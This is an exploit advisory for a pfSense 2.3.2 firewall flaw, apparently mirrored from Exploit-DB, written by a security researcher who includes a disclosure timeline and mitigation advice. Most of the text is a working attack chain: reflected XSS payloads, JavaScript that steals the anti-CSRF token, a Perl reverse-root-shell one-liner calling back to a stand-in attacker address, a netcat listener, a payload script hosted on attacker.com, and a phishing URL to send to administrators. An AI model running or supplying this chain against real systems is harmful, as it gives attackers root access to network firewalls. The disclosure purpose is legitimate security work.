Exploit pfSense 2.3.2 - Cross-Site Scripting / Cross-Site Request Forgery

[Exploiter]

EDB-ID

41501

Проверка EDB

1. Пройдено

Автор

YANN CAM

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2017-03-03

pfSense 2.3.2 - Cross-Site Scripting / Cross-Site Request Forgery

######################################################################
# Exploit Title: pfSense 2.3.2 XSS - CSRF-bypass & Reverse-root-shell
# Date: 01/03/2017
# Author: Yann CAM @ASafety / Synetis
# Vendor or Software Link: www.pfsense.org
# Version: 2.3.2
# Category: XSS, CSRF-bypass and Remote root reverse-shell Access
# Google dork:
# Tested on: FreeBSD
######################################################################


pfSense firewall/router distribution description :
======================================================================

pfSense is a free, open source customized distribution of FreeBSD tailored for use as a firewall and router. In addition 
to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package 
system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. 
pfSense is a popular project with more than 1 million downloads since its inception, and proven in countless installations 
ranging from small home networks protecting a PC and an Xbox to large corporations, universities and other organizations 
protecting thousands of network devices. 

This project started in 2004 as a fork of the m0n0wall project, but focused towards full PC installations rather than the 
embedded hardware focus of m0n0wall. pfSense also offers an embedded image for Compact Flash based installations, however 
it is not our primary focus.

In version 2.3.2 of the distribution, differents XSS vulnerabilities allow CSRF security mechanisms bypass and RCE reverse 
root shell can be triggered. It is strongly advised to update to version 2.3.2 available now.

Demonstration video : https://www.youtube.com/watch?v=IWtf6LlfP_c&t=4s


Proof of Concept 1 - Reflected Cross-Site Scripting :
======================================================================

There are several RXSS in GET parameter available on the pfSense WebGui, example :

File status_captiveportal_expire.php lines 69-73 :
  $cpzone = $_GET['zone'];
  if (isset($_POST['zone'])) {
    $cpzone = $_POST['zone'];
  }
  $cpzone = strtolower($cpzone);

then reflection lines 100-104 :

  $tab_array[] = array(gettext("Active Users"), false, "status_captiveportal.php?zone={$cpzone}");
  $tab_array[] = array(gettext("Active Vouchers"), false, "status_captiveportal_vouchers.php?zone={$cpzone}");
  $tab_array[] = array(gettext("Voucher Rolls"), false, "status_captiveportal_voucher_rolls.php?zone={$cpzone}");
  $tab_array[] = array(gettext("Test Vouchers"), false, "status_captiveportal_test.php?zone={$cpzone}");
  $tab_array[] = array(gettext("Expire Vouchers"), true, "status_captiveportal_expire.php?zone={$cpzone}");

List of parameters vulnerable to reflected XSS:

* status_captiveportal.php: "order", "zone"
* status_captiveportal_expire.php: "zone"
* status_captiveportal_test.php: "zone"
* status_captiveportal_voucher_rolls.php: "zone"
* status_captiveportal_vouchers.php: "zone"
  
Result with a direct call to this page (authenticated session) :

  http://<PFSENSE>/status_captiveportal_expire.php?zone="><script>alert(1337);</script>

These RXSS are through GET parameters, so they are triggered directly on page loading (doesn't need any CSRF token).
CSRF token security mechanism protect only RXSS through POST parameters in the pfSense context.

Proof of Concept 2 - Bypass all CSRF protection via R-XSS :
======================================================================

Via the R-XSS in GET parameter identified previously, it's possible for an attacker to bypass all CSRFMagic mechanisms 
in the pfSense WebGUI.

Through this XSS in GET param, an attacker can benefit of the current pfSense context in a victim's browser already 
logged as administrator in pfSense web administration interface.
Via this XSS, the attacker can forge his own and hidden request in the victim browser, with :

* Right referer for bypassing anti-CSRF mechanisms
* Request page to get a valid CSRF token to forge final form submissions with admin rights

The next piece of JavaScript-JQuery can make any CSRF with right referer and security token retrieved in pfSense context :

  // Function with JQuery AJAX request
  // This function requests an internal WebGUI page, which contains the token.
  // Source code of this webpage is passed to the extractToken() function.
  function loadToken(){
    $.ajax({
      type: 'POST',
      url: '/diag_command.php',
      contentType: 'application/x-www-form-urlencoded;charset=utf-8',
      dataType: 'text',
      data: '',
      success:extractToken
    }); // after this request, we called the extractToken() function to extract the token
  }
   
  // Function called after AJAX request in a defined page of the context, which contains the token value
  function extractToken(response){
    // response var contain the source code of the page requested by AJAX
    // Regex to catch the token value
    var regex = new RegExp("<input type='hidden' name='__csrf_magic' value=\"(.*)\" />",'gi');
    var token = response.match(regex);
    token = RegExp.$1;
    // Pass the token to the final function which make the CSRF final attack
    //alert(token);
    makeCSRF(token);
  }

If this script is loaded from the previous XSS, all web-forms in the pfSense WebGui can be submitted as a legitimate 
and authenticated user (like administrator).


Proof of Concept 3 : R-XSS to CSRF to Remote Reverse root Shell
======================================================================

pfSense distribution provides some internal tools / commands like "perl".

Example of one-liner Perl reverse-root-shell in command line :

  [2.3.2-RELEASE][[email protected]]/usr/local/www: perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[ATTACKER_PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STen(STDERR,">&S");exec("/bin/sh -i");};'

Plus, through the WebGui as administrator, it's possible to execute system command (shell) directly in the web browser as root user :

  http://<PFSENSE>/diag_command.php

POST parameter for command execution to this page are (via PHP script) :

  txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=[PAYLOAD]&submit=EXECPHP&__csrf_magic=[CSRFTOKEN]

So, by chaining the R-XSS, bypass any anti-CSRF protection and with some AJAX calls with right referer / right CSRF token, 
an attacker can gain a full reverse-shell as root on the pfSense :

1/ Step one : the attacker puts a netcat in listen mode on port 4444 on his computer 

  $ nc -l -vv -p 4444  
  
2/ Step two : the attacker puts the next x.js JavaScript file on his webserver http://attacker.com/x.js :

  var hash = window.location.hash.substring(1);
  var lhost = hash.substring(hash.indexOf("lhost=")+6, hash.indexOf("&"));
  var lport = hash.substring(hash.indexOf("lport=")+6, hash.length);

  var payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%27%29%3B';

  // Function with JQuery AJAX request
  // This function requests an internal WebGUI page, which contains the token.
  // Source code of this webpage is passed to the extractToken() function.
  function loadToken(){
  $.ajax({
  type: 'POST',
  url: '/diag_command.php',
  contentType: 'application/x-www-form-urlencoded;charset=utf-8',
  dataType: 'text',
  data: '',
  success:extractToken
  }); // after this request, we called the extractToken() function to extract the token
  }
   
  // Function called after AJAX request in a defined page of the context, which contains the token value
  function extractToken(response){
  // response var contain the source code of the page requested by AJAX
  // Regex to catch the token value
  var regex = new RegExp("<input type='hidden' name='__csrf_magic' value=\"(.*)\" />",'gi');
  var token = response.match(regex);
  token = RegExp.$1;
  // Pass the token to the final function which make the CSRF final attack
  //alert(token);
  makeCSRF(token);
  }
   
  // This function use JQuery AJAX object.
  // The token var is needed to perform the right CSRF attack with the context referer
  function makeCSRF(token){
  // Final CSRF attack with right referer (because executed in the context)
  // and with right token captured above
  $.ajax({
  type: 'POST',
  url: '/diag_command.php',
  contentType: 'application/x-www-form-urlencoded;charset=utf-8',
  dataType: 'text',
  data: 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token
  }); // payload of your choice
  }

  if (trigger){
  } else {
    var trigger = function(){
      // Load JQuery dynamically in the targeted context
      var headx = document.getElementsByTagName('head')[0];
      var jq = document.createElement('script');
      jq.type = 'text/javascript';
      jq.src = 'http://code.jquery.com/jquery-latest.min.js';
      headx.appendChild(jq);
      // Waiting 2 secondes for correct loading of JQuery added dynamically.
      // Then, run the first AJAX request in the WebGUI context to retrieve the token
      setTimeout('loadToken()', 2000);
    };
    trigger();
  }

3/ Step three : the attacker generates the RXSS / anti-CSRF / RCE-root final URL :

  http://<PFSENSE>/status_captiveportal_expire.php?zone="><script src="http://attacker.com/x.js"></script>#lhost=[ATTACKER_IP]&lport=[ATTACKER_PORT]
  
4/ Finaly, the attacker sends this URL (hidden via bitly.com for example) to a pfSense sysadmin and wait for the reverse root shell.

Tested and validated with Firefox latest version 50.1.0.

I have created some BeEF modules to exploit the same vulnerability / scenario.

This full PoC can be seen in the demonstration video here : https://www.youtube.com/watch?v=IWtf6LlfP_c&t=4s

pfSense 2.3.2 contains several security mechanisms and security best-practices like:

- X-Frame-Option header
- POST form-submission token anti-CSRF
- Referer checking to protect against CSRF

But just with a simple RXSS in GET, all these security best-practices can be bypassed to gain a full reverse root shell remotely.


Mitigation:
======================================================================

I suggest to double-check all $_GET/$_POST params directly reflected in the pfSense PHP source code without sanitization.
Plus, some HTTP headers can be added in pfSense for a better security, like:

- X-XSS-Protectoin
- X-Content-Type-Options
- CSP header
- Etc.
  
  
Solution:
======================================================================
2017-02-20:  Release 2.3.3


Additional resources :
======================================================================

- www.pfsense.org
- www.synetis.com
- blog.pfsense.org/?p=2325
- www.asafety.fr
- www.youtube.com/watch?v=IWtf6LlfP_c&t=4s
- doc.pfsense.org/index.php/2.3.3_New_Features_and_Changes
- pfsense.org/security/advisories/pfSense-SA-17_01.webgui.asc
- github.com/pfsense/pfsense/pull/3288
- github.com/pfsense/pfsense/pull/3288/commits/9ec212fb11e4b2825acda68279c7e9553186c06d
- github.com/pfsense/pfsense/pull/3288/commits/992dd571bcad6508ccea0f478491183d7c7e3c4c
- github.com/beefproject/beef/commit/2f632bcbcd0a73ff2d300110bfdec81986e88285


Report timeline :
======================================================================

2016-12-17 : Vulnerability found
2016-12-18 : pfSense team alerted with details, PoC, mitigation proposal through github pull request
2016-12-18 : pfSense team feedback via github
2017-02-20 : pfSense 2.3.3 release with fix
2017-02-22 : BeEF module pull request
2017-03-01 : Public advisory



Credits :
======================================================================

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Yann CAM - Security Researcher @ASafety / Security Consultant @Synetis



Last word :
======================================================================

Thank you to all the pfSense team for professionalism and quality solution despite of these few weaknesses.

-- 
SYNETIS
CONTACT: www.synetis.com